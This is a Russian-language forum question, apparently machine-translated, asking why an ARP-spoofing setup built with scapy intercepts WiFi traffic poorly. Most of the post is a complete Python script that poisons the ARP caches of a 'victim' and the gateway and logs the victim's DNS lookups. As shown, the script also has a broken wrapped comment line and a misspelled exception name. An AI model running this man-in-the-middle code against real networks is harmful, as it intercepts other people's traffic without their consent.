Обнюхивать пакеты Wifi с scapy не работает - PullRequest
0 голосов
/ 17 марта 2019

Недавно я смотрел учебник по перехвату сетевого трафика с помощью модуля python, который называется «scapy». (https://www.youtube.com/watch?v=fkYd8MPzgts). Когда я использую код Python на моей машине, он работает нормально. Я ввожу IP-адрес хоста, с которым я хочу перехватить сетевой трафик, и IP-адрес используемого шлюза. хорошо. Однако, как только я начинаю вводить IP-адрес своего мобильного телефона, который использует Wifi для связи с моим шлюзом, сценарий больше не работает. Я только время от времени принимаю пакеты. невозможно больше.

Я пытался понять, почему это происходит, хотя я не нашел определенного ответа. Я предполагаю, что перехват вызывает некоторые проблемы на столе, например, пакеты, отправленные по воздуху, гораздо более "нестабильны" по сравнению с пакетами, отправленными по проводам. Я могу себе представить, что это усложняет перехват скриптового сценария.

Я также думал о arp-кешировании хостов. В Gerenal компьютеры хранят arp-адрес своего шлюза, чтобы быстрее находить способ общения через Интернет. Однако эту «проблему» следует преодолеть, как только по сети будут отправляться новые запросы arp.

Код руководства можно найти на pastebin (https://pastebin.com/1cMu4kzZ) Я добавил некоторые мысли в комментарии кода! Они НЕ сделаны автором кода:

from scapy.all import *
import threading
import os
import sys

# specify the ip addresses of the victim and gateway in order to intercept these two
VIP = raw_input('Please enter the IP address of the victim computer: ')
GW = raw_input('Please enter th IP address of the gateway: ')
IFACE = raw_input('Please enter the name of your interface: ')
print '\nMake sure you are running as root!, and enjoy. '

print '\t\t\nPoisoning Victim & Gateway! .. '
# set the parameter of ip forwarding to 1 i order to enable forwarding the intercepted packets to the router and vice versa
os.system('echo 1 > /proc/sys/net/ipv4/ip_forward') #Ensure the victim 
recieves packets by forwarding them

# check if the received packets are the kind of packets we're intersted in (here: DNS packets)
def dnshandle(pkt):
            if pkt.haslayer(DNS) and pkt.getlayer(DNS).qr == 0: 
                    print 'Victim: ' + VIP + ' has searched for: ' + pkt.getlayer(DNS).qd.qname

# create an arp packet which is sent to the victim (but we act as if it came from the gateway) 
def v_poison():
    v = ARP(pdst=VIP, psrc=GW)
    while True:
            try:   
                   send(v,verbose=0,inter=1,loop=1)
            except KeyboardInterupt:                     
                     sys.exit(1)

# create an arp packet which is sent to the victim (but we act as if it came from the gateway) 
def gw_poison():
    gw = ARP(pdst=GW, psrc=VIP)
    while True:
            try:
                   send(gw,verbose=0,inter=1,loop=1)
            except KeyboardInterupt:
                    sys.exit(1)

vthread = []
gwthread = []  


while True:    
    # make sure, that we send enough packets to fool the host and gateway that the ip of the gateway belongs to our host (associate the ip of the gateway with our MAC address)               
    vpoison = threading.Thread(target=v_poison)
    vpoison.setDaemon(True)
    vthread.append(vpoison)
    vpoison.start()        

    gwpoison = threading.Thread(target=gw_poison)
    gwpoison.setDaemon(True)
    gwthread.append(gwpoison)
    gwpoison.start()

    # sniff with the help of the sniff function from scapy filtering for arp packets
    pkt = sniff(iface=IFACE,filter='udp port 53',prn=dnshandle)

Как получилось, трафик Wi-Fi не может (или, по крайней мере, намного хуже) перехватываться таким образом по сравнению с трафиком по проводам?

...